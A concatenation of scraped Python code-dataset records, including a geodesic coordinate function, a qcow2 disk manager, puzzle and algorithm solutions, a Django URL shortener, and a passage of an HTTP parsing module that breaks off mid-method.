None","sub_path":"listing/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"24768786","text":"from numpy import sqrt\n\n\ndef calc_circular_eq_coords(psi, En, Lz, aa, slr, M=1):\n \"\"\"\n Parameters:\n psi (float): angle associated with radial motion.\n En (float): constant energy\n Lz (float): angular momentum constant\n aa (float): MBH spin\n slr (float): semi-latus rectum\n M (float) [1]: stellar mass black hole mass\n\n Returns:\n t (float): time coordinate\n r (float): radial coordinate\n theta (float): polar coordinate\n phi (float): azimuthal coordinate\n \"\"\"\n # lam_psi is used to cross check with circular orbits in BHPTK\n # lam_psi = (psi / (sqrt(1 - En**2 + 3*(1 - En**2) + 2*(1 - En**2 - 1/slr) + \n # (aa**2*(1 - En**2) + Lz**2)/slr**2 - 4/slr)*slr))\n # print(lam_psi)\n\n aa2 = aa * aa\n slr2 = slr * slr\n x = Lz - aa * En\n x2 = x * x\n\n Vr = aa2 + x2 + 2 * aa * x * En - 6 * M * x2 / slr\n Vphi = x + aa * En - 2 * M * x / slr\n Vt = aa2 * En - 2 * aa * M * x / slr + En * slr2\n J = 1 - 2 * M / slr + aa2 / slr2\n denom = J * sqrt(Vr)\n t = Vt / denom * psi\n phi = Vphi / denom * psi\n r = slr\n theta = mp.pi / 2\n return t, r, theta, phi\n","sub_path":"geodesic/coordinates/coords_circ_eq.py","file_name":"coords_circ_eq.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"482630239","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build\\bdist.win-amd64\\egg\\fragmap\\console_ui.py\n# Compiled at: 2019-09-05 14:04:56\n# Size of source mod 2**32: 2983 bytes\nfrom backports.shutil_get_terminal_size import get_terminal_size\nfrom fragmap.common_ui import first_line\nfrom fragmap.generate_matrix import ConnectedFragmap\nfrom .console_color import *\n\ndef lzip(*args):\n \"\"\"\n zip(...) but returns list of lists instead of list of tuples\n \"\"\"\n return [list(el) for el in zip(*args)]\n\n\ndef filter_consecutive_equal_columns(char_matrix):\n transposed_matrix = lzip(*char_matrix)\n filtered_matrix = []\n for col in transposed_matrix:\n if filtered_matrix == []:\n filtered_matrix.append(col)\n if filtered_matrix[(-1)] == col:\n pass\n else:\n if ''.join(col).strip('. ') == '':\n pass\n else:\n filtered_matrix.append(col)\n\n return lzip(*filtered_matrix)\n\n\ndef print_fragmap(fragmap, do_color):\n matrix = fragmap.render_for_console(do_color)\n matrix = filter_consecutive_equal_columns(matrix)\n if len(matrix) == 0:\n return (0, 0)\n else:\n matrix_width = len(matrix[0])\n hash_width = 8\n padded_matrix_width = matrix_width\n reported_terminal_column_size = get_terminal_size().columns\n if reported_terminal_column_size == 0:\n reported_terminal_column_size = 80\n terminal_column_size = reported_terminal_column_size - 2\n max_actual_commit_width = max([len(first_line(p.header.message)) for p in fragmap.patches])\n max_commit_width = max(0, min(max_actual_commit_width + 1, int(terminal_column_size / 2), terminal_column_size - (hash_width + 1 + 1 + padded_matrix_width)))\n actual_total_width = hash_width + 1 + max_commit_width + 1 + padded_matrix_width\n\n def infill_layout(matrix, print_text_action, print_matrix_action):\n r = 0\n for i in range(len(matrix)):\n r = i / 3\n if i % 3 == 1:\n print_text_action(r)\n else:\n print((''.ljust(hash_width + 1 + max_commit_width)), end='')\n print_matrix_action(i)\n\n def normal_layout(matrix, print_text_action, print_matrix_action):\n for r in range(len(matrix)):\n print_text_action(r)\n print_matrix_action(r)\n\n def print_line(r):\n cur_patch = fragmap.patches[r].header\n commit_msg = first_line(cur_patch.message)\n hash = cur_patch.hex\n commit_msg = commit_msg.ljust(max_commit_width, ' ')\n commit_msg = commit_msg[0:min(max_commit_width, len(commit_msg))]\n hash = hash[0:hash_width]\n if do_color:\n hash = ANSI_FG_CYAN + hash + ANSI_RESET\n print(hash, commit_msg, end='')\n\n def print_matrix(r):\n print(''.join(matrix[r]), ' ')\n\n if isinstance(fragmap, ConnectedFragmap):\n infill_layout(matrix, print_line, print_matrix)\n else:\n normal_layout(matrix, print_line, print_matrix)\n lines_printed = len(matrix)\n return (lines_printed, actual_total_width)","sub_path":"pycfiles/fragmap-0.3.1-py3.6/console_ui.cpython-36.py","file_name":"console_ui.cpython-36.py","file_ext":"py","file_size_in_byte":3343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"282888996","text":"# 需求1:尝试只读打开test.txt文件,存在读取内容,不存在提示用户\n# 需求2:读取内容,循环读取,当无内容时退出循环,如果用户意外终止,提示用户已经被意外终止\n\ntry:\n f=open('test.txt')\n try:\n #尝试循环内容\n while True:\n con = f.readline()\n if len(con)<=0:\n break\n print(con)\n except:\n print('程序意外终止!')\n finally:\n f.close()\n print('文件关闭!')\n\nexcept:\n print('文件不存在!')","sub_path":"py代码/异常的传递.py","file_name":"异常的传递.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"374302866","text":"import os\nimport subprocess\nimport glob\n\n\n_mount_point = '/mnt'\n\n\ndef create_disk(name, size):\n new_disk = \"{}/{}.qcow2\".format(_mount_point, name)\n\n if os.path.exists(new_disk):\n return {\"result\": \"fail\", \"message\": \"disk exist\"}\n\n args = [\"qemu-img\", \"create\", \"-f\", \"qcow2\", new_disk, \"{}G\".format(size)]\n try:\n subprocess.check_output(args)\n\n except subprocess.CalledProcessError as e:\n print(e.output)\n return {\"result\": \"failed\",\n \"error-code\": e.returncode}\n\n return {\"result\": \"success\"}\n\n\ndef list_disk():\n result = glob.glob(\"{}/*.qcow2\".format(_mount_point))\n filenames = [os.path.basename(file) for file in result]\n return filenames\n\n\ndef delete_disk(name):\n os.remove(\"{}/{}\".format(_mount_point, name))\n return {\"result\": \"success\"}\n","sub_path":"container/storage-worker/worker/qcow_manager.py","file_name":"qcow_manager.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"49730887","text":"from collections import defaultdict\nfrom operator import itemgetter\nfrom typing import Dict, List, Tuple\n\nimport config\n\n\nDOTS = Dict[Tuple[int, int], int]\n\n\ndef fold_axis(dots: DOTS, axis: str, position: int) -> DOTS:\n \"\"\"Fold the paper along the given axis and return the new paper.\n\n Args:\n dots (DOTS): the dots on the paper\n axis (str): either 'x' or 'y'\n position (int): the 0-based position\n\n Returns:\n DOTS: dotted paper\n\n \"\"\"\n new_dots: DOTS = defaultdict(int)\n if axis == 'x':\n for (x, y), value in dots.items():\n if x <= position:\n new_dots[(x, y)] += value\n else:\n diff = x - position\n new_position = position - diff\n new_dots[(new_position, y)] += value\n else:\n for (x, y), value in dots.items():\n if y <= position:\n new_dots[(x, y)] += value\n else:\n diff = y - position\n new_position = position - diff\n new_dots[(x, new_position)] += value\n\n return new_dots\n\n\ndef calculate_dots_in_paper(contents: List[str]) -> None:\n \"\"\"Calculate dots on folded paper.\n\n Args:\n contents (List[str]): the file contents\n\n \"\"\"\n dots: DOTS = defaultdict(int)\n fold_instructions = []\n for line in contents:\n if ',' in line:\n x, y = [int(co) for co in line.split(',')]\n dots[(x, y)] += 1\n elif line.startswith('fold along'):\n *_, fold = line.split()\n axis, pos_str = fold.split('=')\n pos = int(pos_str)\n fold_instructions.append((axis, pos))\n\n for axis, pos in fold_instructions:\n dots = fold_axis(dots, axis, pos)\n\n print_letters(dots)\n\n\ndef print_letters(dots: DOTS) -> None:\n \"\"\"Print letters according to marked dots on paper.\n\n Args:\n dots (DOTS): the final rendered paper with dots marked\n\n \"\"\"\n max_x = max([x for x, y in dots]) + 1\n max_y = max([y for x, y in dots]) + 1\n for y in range(max_y):\n print(''.join(['#' if (x, y) in dots else ' ' for x in range(max_x)]))\n\n\ndef main() -> None:\n \"\"\"Run the main code.\"\"\"\n file = config.File()\n calculate_dots_in_paper(file.contents)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"2021/13/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"421185529","text":"\"\"\"\nSetting source and blend fluxes for model plotting.\n\"\"\"\nimport matplotlib.pyplot as plt\n\nimport MulensModel as mm\n\n# Define a Model\nt_0 = 2456791.\nu_0 = 0.2\nt_E = 12.4\nmodel_1 = mm.Model({'t_0': t_0, 'u_0': u_0, 't_E': t_E})\n\n# Plot the Model 3 ways.\nplt.figure()\nplt.title('Model Lightcurve defined using fluxes')\nmodel_1.plot_lc(f_source=0.2, f_blend=0.4)\n\nplt.figure()\nplt.title('Model Lightcurve defined using magnitudes')\nmodel_1.plot_lc(f_source=mm.Utils.get_flux_from_mag(21.2),\n f_blend=mm.Utils.get_flux_from_mag(18.2))\n\nplt.figure()\nplt.title('Model Lightcurve in 2 bands')\nmodel_1.plot_lc(f_source=mm.Utils.get_flux_from_mag(21.2),\n f_blend=mm.Utils.get_flux_from_mag(18.2), label='I')\nmodel_1.plot_lc(f_source=mm.Utils.get_flux_from_mag(20.3),\n f_blend=mm.Utils.get_flux_from_mag(17.4), label='V')\nplt.legend(loc='best')\n\nplt.show()\n","sub_path":"examples/use_cases/use_case_17_magnitudes.py","file_name":"use_case_17_magnitudes.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"381598331","text":"# python3\nimport queue\n\n\nclass Edge:\n def __init__(self, u, v, capacity):\n self.u = u\n self.v = v\n self.capacity = capacity\n self.flow = 0\n\n\n# This class implements a bit unusual scheme for storing edges of the graph,\n# in order to retrieve the backward edge for a given edge quickly.\nclass FlowGraph:\n def __init__(self, n):\n # List of all - forward and backward - edges\n self.edges = []\n # These adjacency lists store only indices of edges in the edges list\n self.graph = [[] for _ in range(n)]\n\n def add_edge(self, from_, to, capacity):\n # Note that we first append a forward edge and then a backward edge,\n # so all forward edges are stored at even indices (starting from 0),\n # whereas backward edges are stored at odd indices.\n forward_edge = Edge(from_, to, capacity)\n backward_edge = Edge(to, from_, 0)\n self.graph[from_].append(len(self.edges))\n self.edges.append(forward_edge)\n self.graph[to].append(len(self.edges))\n self.edges.append(backward_edge)\n\n def size(self):\n return len(self.graph)\n\n def get_ids(self, from_):\n return self.graph[from_]\n\n def get_edge(self, id):\n return self.edges[id]\n\n def add_flow(self, id, flow):\n # To get a backward edge for a true forward edge (i.e id is even), we should get id + 1\n # due to the described above scheme. On the other hand, when we have to get a \"backward\"\n # edge for a backward edge (i.e. get a forward edge for backward - id is odd), id - 1\n # should be taken.\n #\n # It turns out that id ^ 1 works for both cases. Think this through!\n self.edges[id].flow += flow\n self.edges[id ^ 1].flow -= flow\n\n\ndef read_data():\n vertex_count, edge_count = map(int, input().split())\n graph = FlowGraph(vertex_count)\n for _ in range(edge_count):\n u, v, capacity = map(int, input().split())\n graph.add_edge(u - 1, v - 1, capacity)\n return graph\n\n\ndef BFS(graph, s):\n dist = [-1] * graph.size()\n path_edge_ids = [None] * graph.size()\n dist[s] = 0\n q = queue.Queue()\n q.put(s)\n while not q.empty():\n u = q.get()\n edge_ids = graph.graph[u]\n for edge, edge_id in [(graph.get_edge(e_id), e_id) for e_id in edge_ids]:\n if dist[edge.v] == -1 and (edge.capacity - edge.flow) > 0:\n q.put(edge.v)\n dist[edge.v] = dist[u] + 1\n path_edge_ids[edge.v] = edge_id\n return dist, path_edge_ids\n\ndef ReconstructPath(s, u, path_edge_ids, graph):\n result = []\n while u != s:\n e_to_u_id = path_edge_ids[u]\n result.append(e_to_u_id)\n u = graph.get_edge(e_to_u_id).u\n return result\n\n\ndef max_flow(graph, from_, to):\n flow = 0\n while True:\n (dist, path_edge_ids) = BFS(graph, from_)\n if path_edge_ids[to] is None:\n return flow\n path_to_sink_edge_ids = ReconstructPath(from_, to, path_edge_ids, graph)\n X = min([(graph.get_edge(e_id).capacity - graph.get_edge(e_id).flow) for e_id in path_to_sink_edge_ids])\n for e_id in path_to_sink_edge_ids:\n graph.add_flow(e_id, X)\n flow += X\n\n\nif __name__ == \"__main__\":\n graph = read_data()\n print(max_flow(graph, 0, graph.size() - 1))\n","sub_path":"5-AdvancedAlgorithmsAndComplexity/Week1/evacuation/evacuation.py","file_name":"evacuation.py","file_ext":"py","file_size_in_byte":3343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"380120463","text":"import sys\r\nimport os\r\nimport numpy as np\r\n\r\nos.system( \"./Allrun\" )\r\n\r\nfolder_xyz = os.path.join(sys.path[0], \"moistureAdvection\")\r\nos.system( \"rm -rf {}\".format(folder_xyz) )\r\nos.makedirs( folder_xyz )\r\n\r\ntimes = range(0,1820,20)\r\n \r\nfor time in times:\r\n folder_time_xyz = os.path.join(folder_xyz, str(time))\r\n if not os.path.exists( folder_time_xyz ):\r\n os.makedirs( folder_time_xyz )\r\n \r\n folder_time = os.path.join(sys.path[0], str(time))\r\n os.system( \"cp {} {}/\".format( os.path.join(folder_time,\"*.xyz\"), folder_time_xyz ) )\r\n \r\nos.system( \"cp -r {}/ $DROPBOX/PhD/2020/\".format(folder_xyz) )","sub_path":"defaultSetupLinearUpwind/run_moistureAdvection.py","file_name":"run_moistureAdvection.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"59584533","text":"from django.shortcuts import render\nfrom django.http import HttpResponse,HttpResponseRedirect\nimport hashlib\nfrom indexUrl import models\n\n# Create your views here.\noriginalIp = 'http://md5ip.cn/' # 类似接口\ndef original_shorturl(url):\n '''\n 此算法实现是借鉴网上写好了的\n '''\n base32 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',\n 'y', 'z',\n '0', '1', '2', '3', '4', '5'\n ]\n m = hashlib.md5()\n m.update(url.encode())\n hexStr = m.hexdigest()\n hexStrLen = len(hexStr)\n subHexLen = hexStrLen // 8\n output = []\n for i in range(0,subHexLen):\n subHex = '0x'+hexStr[i*8:(i+1)*8]\n res = 0x3FFFFFFF & int(subHex,16)\n out = ''\n for j in range(6):\n val = 0x0000001F & res\n out += (base32[val])\n res = res >> 5\n output.append(out)\n return output[-1]\n\n\ndef transShortUrl(request):\n if request.method == 'GET':\n return render(request, 'indexUrl/index.html')\n elif request.method == 'POST':\n dic = { }\n long_url_val = request.POST['long_url']\n # 自定义短网址\n def_shorturls = request.POST['def_short_url']\n if def_shorturls:\n # 如果自定义的短网址片段已存在,则重定向到indexUrl/index.html\n if models.ShortUrl.objects.get(shorturl= def_shorturls):\n return HttpResponseRedirect(request, 'indexUrl/index.html')\n else:\n twz = models.message.objects.create(longurl=long_url_val,shorturl=def_shorturls)\n dic[def_shorturls]= originalIp+def_shorturls\n twz.save()\n return HttpResponse(request,'indexUrl/index.html',dic)\n else:\n # md5 算法生成短网址\n short_urls = original_shorturl(long_url_val)\n twz = models.message.objects.create(longurl=long_url_val,shorturl=short_urls)\n dic[short_urls]= originalIp+short_urls\n twz.save()\n return HttpResponse(request,'indexUrl/index.html',dic)\n\n\n\nif __name__ == '__main__':\n print(original_shorturl('https://g.suning.com/?safp=d488778a.homepage1.99345513343.7'))\n","sub_path":"indexUrl/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"88355697","text":"class Solution:\n def reverseOnlyLetters(self, string: str) -> str:\n chars = list(string)\n left = 0\n right = len(chars) - 1\n while left < right:\n while left < right and not chars[left].isalpha():\n left += 1\n while left < right and not chars[right].isalpha():\n right -= 1\n if left < right:\n chars[left], chars[right] = chars[right], chars[left]\n left += 1\n right -= 1\n return ''.join(chars)\n","sub_path":"leetcode/solved/000917. Reverse Only Letters.py","file_name":"000917. Reverse Only Letters.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"39819819","text":"'''\nGrading PROGRAM\n---------------\nCreate a program that asks the user for their semester grade, final exam grade, \nand final exam worth and then calculates the overall final grade. \nAsk your instructor if you don't know how to calculate weighted averages.\nYou don't have to print out the letter grade. We will do that in the next chapter.\n\nTest with the following:\n\nSem Grade: 86 Final Exam: 52 Exam worth: 15% Overall: 80.9\nSem Grade: 95 Final Exam: 32 Exam worth: 10% Overall: 88.7\nSem Grade: 72 Final Exam: 100 Exam worth: 20% Overall: 77.6\n'''\n\nsemester = int(input('Please Enter Semester Grade: ')) #take variables and turn them into integers\nfinal = int(input('Please Enter Final Exam Grade: '))\nweight = int(input('Please Enter Final Exam Weight: '))\n\noverall = ((semester*(100-weight))+(final*weight))/100 #calculate\n\nprint('\\nYour final grade will be '+str(overall)+'%') #print answer","sub_path":"3.3_Grading.py","file_name":"3.3_Grading.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"275145800","text":"# Python File http.py\n\nimport re\n\nclass Issue(Exception):\n def __init__(self, problem):\n self.problem = problem\n def __str__(self):\n return 'ERROR: the problem was: %s' % self.problem\n\nclass TypeIssue(Issue):\n def __init__(self, problem_type, required_type):\n self.required_type = required_type\n self.problem_type = problem_type\n def __str__(self):\n return 'TYPE ERROR: expected type was %s, you tried using type %s' % (self.required_type, self.problem_type)\n\n\"\"\"\nGENERAL FUNCTIONS\n\"\"\"\n\ndef checkMatch(match, input, input_name):\n # this method will raise an error if somethign is wrong with the match\n # input name is the name used to refer to the input in the error messages\n # it makes sure the match exists and is equal to input\n if match:\n # we want to make sure that the whole expression is this match\n # otherwise we are going to need to raise an issue\n if not match.group(0) == input:\n raise Issue('%s Match - %s - In Input Is Only Part Of Input: %s' % (input_name, match.group(0).__repr__(), input.__repr__()))\n else:\n raise Issue('No %s Match Found In Input: %s' % (input_name, input.__repr__()))\n\ndef checkType(object, required_type):\n # this raises an error if the types don't match (or there is no proper inheritance link)\n if not isinstance(object, required_type):\n raise TypeIssue(type(object), required_type)\n\n\"\"\"\nDONE\n\"\"\"\n\nclass HTTPComponent:\n \"\"\"\n This class embodies the idea that you should be able to parse\n a line that comes from an http message that corresponds to this\n kind of object and setup the object from that line. That you should\n be able to write out a line from this object in the form that it\n would take in a http message. and that the string representation is\n exactly that line\n \"\"\"\n\n def ParseLine(self, line):\n # you will have to write the functionality yourself\n # but the line be the corresponding string representing\n # the object in an http message. This should return nothing\n # and set all of the attributes in this object\n pass\n\n def WriteLine(self):\n # this should use the set attributes of this object to create\n # an http message string version of the object. It must return that\n # line\n return ''\n\n def __str__(self):\n # the string rep should be the http message version of this object\n return self.WriteLine()\n\nclass Status(HTTPComponent):\n\n codes = {100: 'Continue', 101: 'Switching Protocols', 102: 'Processing',\n 103: 'Checkpoint', 200: 'OK', 201: 'Created', 202: 'Accepted',\n 203: 'Non-Authoritative Information', 204: 'No Content', 205: 'Reset Content',\n 206: 'Partial Content', 207: 'Multi-Status', 208: 'Already Reported',\n 226: 'IM Used', 300: 'Multiple Choices', 301: 'Moved Permanently',\n 302: 'Found', 303: 'See Other', 304: 'Not Modified', 305: 'Use Proxy',\n 306: 'Switch Proxy', 307: 'Temporary Redirect', 308: 'Permanent Redirect',\n 400: 'Bad Request', 401: 'Unauthorized', 402: 'Payment Required',\n 403: 'Forbidden', 404: 'Not Found', 405: 'Method Not Allowed',\n 406: 'Not Acceptable', 407: 'Proxy Authentication Required',\n 408: 'Request Timeout', 409: 'Conflict', 410: 'Gone', 411: 'Length Required',\n 412: 'Precondition Failed', 413: 'Payload Too Large',\n 414: 'URI Too Long', 415: 'Unsupported Media Type', 416: 'Range Not Satisfiable',\n 417: 'Expectation Failed', 418: \"I'm a teapot\", 419: 'Authentication Timeout',\n 421: 'Misdirected Request', 422: 'Unprocessable Entity', 423: 'Locked',\n 424: 'Failed Dependency', 426: 'Upgrade Required', 428: 'Precondition Required',\n 431: 'Request Header Fields Too Large', 451: 'Unavailable For Legal Reasons',\n 500: 'Internal Server Error', 501: 'Not Implemented', 502: 'Bad Gateway',\n 503: 'Service Unavailable', 504: 'Gateway Timeout', 505: 'HTTP Version Not Supported',\n 506: 'Variant Also Negotiates', 507: 'Insufficient Storage', 508: 'Loop Detected',\n 510: 'Not Extended', 511: 'Network Authentication Required'}\n\n def __init__(self, code=None):\n if not code:\n self.code = None\n self.message = None\n return\n code = int(code) # someone might try inputting a string\n # we will initiate the two parts of status right here.\n # so all you have to do is input the code on initiation and bam you've\n # got it all and don't have to worry about what the message is\n if code in self.codes:\n self.code = code\n self.message = self.codes[code]\n else:\n raise Issue('Input Code %s Not Found In Codes' % code)\n\n def ParseLine(self, line):\n # first we compile the regular expression we will be using\n re_expression = re.compile('([1-5][0-9][0-9]) [a-zA-Z\\-\\'][\\sa-zA-Z\\-\\']*')\n # now try for a single (and first) match\n match = re.search(re_expression, line)\n checkMatch(match, line, 'Status')\n # now that we are all good\n if int(match.group(1)) in self.codes:\n self.code = int(match.group(1))\n # now to be consistent we are going to set the message as the one\n # in codes corresponding to code\n self.message = self.codes[self.code]\n else:\n raise Issue('Unknown Code Found: %s (Input Line: %s)' % (match.group(1), line))\n\n def WriteLine(self):\n # I am going to have the string representation be that of a status\n # in the status line of an http response\n return '%s %s' % (self.code, self.message)\n\n def __eq__(self, other):\n if self.code == other.code and self.message == other.message:\n return True\n else:\n return False\n\nclass Header(HTTPComponent):\n\n def __init__(self, name=None, value=None):\n # this way you can just setup a simple name: value\n # header during inititation to save lines of code\n self.name = name\n self.values = []\n if value:\n self.values.append(value)\n\n def SetName(self, name):\n self.name = name\n\n def AddValue(self, value):\n self.values.append(value)\n\n def ParseLine(self, line):\n # we first compile the regular expression we are going to use in parsing\n # this line. You can see the form of header line we are expecting\n re_expression = re.compile('([\\S]{1,})[\\s]*:[\\s]*([\\s\\S]*[\\S])')\n # next we go ahead and try to find a match in the line that was given\n # we are only looking for one (and the first) match\n match = re.search(re_expression, line)\n checkMatch(match, line, 'Header')\n # now that we are all good\n # the name will be in the first group\n self.name = match.group(1)\n # next we get the portion of the string which contains our values\n values_string = match.group(2)\n # we separate the string into the values by comma\n values = values_string.split(',')\n # now we are going to use the next few lines to get rid of\n # whitespace around the values\n cleaned_values = []\n for value in values:\n cleaned_values.append(value.strip())\n # and now we can set self.values\n self.values = cleaned_values\n\n def WriteLine(self):\n # this method returns a line of the form: name: value1, value2, ...\n # first we will create the portion of the string that will containt the\n # values\n values_string = ''\n for value in self.values:\n values_string = '%s%s, ' % (values_string, value)\n # now we trim off the last comma and space\n values_string = values_string[:-2]\n # now we create the full string\n line = '%s: %s' % (self.name, values_string)\n # and we are done and can return the line :)\n return line\n\n def __eq__(self, other):\n if not self.name == other.name:\n return False\n # to make sure order of values doesn't matter\n for value in self.values:\n if not value in other.values:\n return False\n return True\n\nclass Url(HTTPComponent):\n\n def __init__(self):\n self.scheme = None\n self.username = None\n self.password = None\n self.host = None\n self.port = None\n self.path = None\n self.query = None\n self.fragment = None\n\n\n # in each of the following set methods we are going to make sure\n # that each input in is the right form using regular expressions\n def SetScheme(self, scheme):\n re_expression = re.compile('[a-zA-z0-9+\\-.]{1,}')\n match = re.search(re_expression, scheme)\n checkMatch(match, scheme, 'Scheme')\n # we are all good and so can set the attribute\n self.scheme = scheme\n\n def SetCredentials(self, username, password):\n # first we know that if we don't have a host yet, we cannot have this stuff\n # so first we check for a host\n if not self.host:\n raise Issue('No Credentials Can Be Added Until Host Has Been Set')\n # first for the username\n re_expression = re.compile('[a-zA-z0-9+\\-.]{1,}')\n match = re.search(re_expression, username)\n checkMatch(match, username, 'Username')\n # now for the password\n match = re.search(re_expression, password)\n checkMatch(match, password, 'Password')\n # we are all good and so can set the attribute\n self.username = username\n self.password = password\n\n def SetHost(self, host):\n # first we know that if we don't have a scheme yet, we cannot have this stuff\n # so first we check for a scheme\n if not self.scheme:\n raise Issue('No Host Can Be Added Until Scheme Has Been Set')\n re_expression = re.compile('[a-zA-z0-9+\\-.]{1,}')\n match = re.search(re_expression, host)\n checkMatch(match, host, 'Host')\n # we are all good and so can set the attribute\n self.host = host\n\n def SetPort(self, port):\n # port might be in int form so first we make in a string\n port = port.toString()\n # first we know that if we don't have a host yet, we cannot have this stuff\n # so first we check for a host\n if not self.host:\n raise Issue('No Port Can Be Added Until Host Has Been Set')\n re_expression = re.compile('[0-9]{1,}')\n match = re.search(re_expression, port)\n checkMatch(match, port, 'Port')\n # we are all good and so can set the attribute\n self.port = port\n\n def SetPath(self, path):\n re_expression = re.compile('\\/?[a-zA-z0-9+\\-.%][a-zA-z0-9+\\-.%\\/]*')\n match = re.search(re_expression, path)\n checkMatch(match, path, 'Path')\n # we are all good and so can set the attribute\n self.path = path\n\n def SetQuery(self, query):\n re_expression = re.compile('[^\\s#]{1,}')\n match = re.search(re_expression, query)\n checkMatch(match, query, 'Query')\n # we are all good and so can set the attribute\n self.query = query\n\n def SetFragment(self, fragment):\n re_expression = re.compile('([\\S]*)')\n match = re.search(re_expression, fragment)\n checkMatch(match, fragment, 'Fragment')\n # we are all good and so can set the attribute\n self.fragment = fragment\n\n def ParseLine(self, line):\n # first we compile the regular expression we are going to be using\n # groups:\n # 1 -> scheme 2 -> username 3 -> password 4 -> host 5 -> port\n # 6 -> path 7 -> query 8 -> fragment\n # built from [scheme:][[//][username:password@]host[:port]][path][?query][#fragment]\n # we are assuming that if we have a host address we will have a scheme\n # and yeah it's pretty long... o_o\n re_expression = re.compile('(?:([a-zA-z0-9+\\-.]{1,}):)?(?:\\/\\/(?:([a-zA-z0-9+\\-.]{1,}):([a-zA-z0-9+\\-.]{1,})@)?([a-zA-z0-9+\\-.]{1,})(?::([0-9]{1,}))?)?(\\/?[a-zA-z0-9+\\-.%\\/]*)?(?:\\?([^\\s#]{1,}))?(?:#([\\S]*))?')\n # next we try to get a match and we only want one and the first match from the line\n match = re.search(re_expression, line)\n checkMatch(match, line, 'Url')\n # now that we are all good\n # now we can go ahead and get the various parts\n self.scheme = match.group(1)\n self.username = match.group(2)\n self.password = match.group(3)\n self.host = match.group(4)\n self.port = match.group(5)\n self.path = match.group(6)\n self.query = match.group(7)\n self.fragment = match.group(8)\n # now we make sure that if we have a host we have a scheme\n if self.host and not self.scheme:\n raise Issue('Host Address %s requires a scheme. (Input Line: %s)' % (self.host, line))\n\n def WriteLine(self):\n # once again the form of a url is the following:\n # [scheme:][[//][username:password@]host[:port]][path][?query][#fragment]\n # we are assuming that if we have a host address we have a scheme\n # so let us move our way from left to right in building this\n line = ''\n if self.scheme:\n line = '%s:' % self.scheme\n # remember if we have a host we must have a scheme\n if self.host:\n line = '%s//' % line\n if self.username:\n line = '%s%s:%s@' % (line, self.username, self.password)\n line = '%s%s' % (line, self.host)\n if self.port:\n line = '%s:%s' % (line, self.port)\n if self.path:\n line = '%s%s' % (line, self.path)\n if self.query:\n line = '%s?%s' % (line, self.query)\n if self.fragment:\n line = '%s#%s' % (line, self.fragment)\n # and now we are done and can return the line! :D\n return line\n\n def __eq__(self, other):\n if self.scheme != other.scheme:\n return False\n if self.host != other.host:\n return False\n if self.username != other.username:\n return False\n if self.password != other.password:\n return False\n if self.port != other.port:\n return False\n if self.path != other.path:\n return False\n if self.query != other.query:\n return False\n if self.fragment != other.fragment:\n return False\n return True\n\n\n\"\"\"\nSo a version is more than just a number. It is essentially an object that let's\nus know (in theory) which headers to use, how to use them, restrictions on messages,\netc. So I am going to create a Version object here, so that I can expand it later\nif needed.\n\nFor the first go though, it is just going to have the version number and print\nitself like in a message\n\"\"\"\n\nclass Version(HTTPComponent):\n\n def __init__(self, number='1.1'):\n # just to make sure it is a string\n number = str(number)\n # now we make sure it is the right form\n re_expression = re.compile('[0-9].[0-9]{1,}')\n match = re.search(re_expression, number)\n checkMatch(match, number, 'Version Number')\n # now that we know we are all good we go ahead and set the number\n self.number = number\n\n def ParseLine(self, line):\n # first we compile the regular expression we are going to use\n re_expression = re.compile('HTTP\\/([0-9]\\.[0-9]{1,})')\n # next we try for a match, and we want one and the first\n match = re.search(re_expression, line)\n checkMatch(match, line, 'Version')\n # now that we are all good\n # we set the number\n self.number = match.group(1)\n\n def WriteLine(self):\n # this is really simple\n line = 'HTTP/%s' % self.number\n return line\n\n def __eq__(self, other):\n if self.number != other.number:\n return False\n return True\n\nclass Method(HTTPComponent):\n \"\"\"\n One method has several string representations, therefore it is a bit\n more than its representations, so we will create an additional object\n for it.\n \"\"\"\n\n methods = ['OPTIONS', 'GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'TRACE', 'CONNECT']\n\n def __init__(self, method=None):\n if not method:\n self.method = None\n return\n if method.upper() in self.methods:\n self.method = method.upper()\n else:\n raise Issue('Input Method %s Is Not a Valid Method' % method)\n\n def ParseLine(self, line):\n # first we have our regular expression\n re_expression = re.compile('[a-zA-Z]{1,}')\n match = re.search(re_expression, line)\n checkMatch(match, line, 'Method')\n # now that we know we have only one word\n # we essentially just throw our line to uppercase and see if it is in our\n # methods list\n upper_line = line.upper()\n if upper_line in self.methods:\n self.method = upper_line\n else:\n raise Issue('No Method Was Found In Input Line: %s' % line)\n\n def WriteLine(self):\n # this is super easy\n line = self.method\n return line\n\n def __eq__(self, other):\n 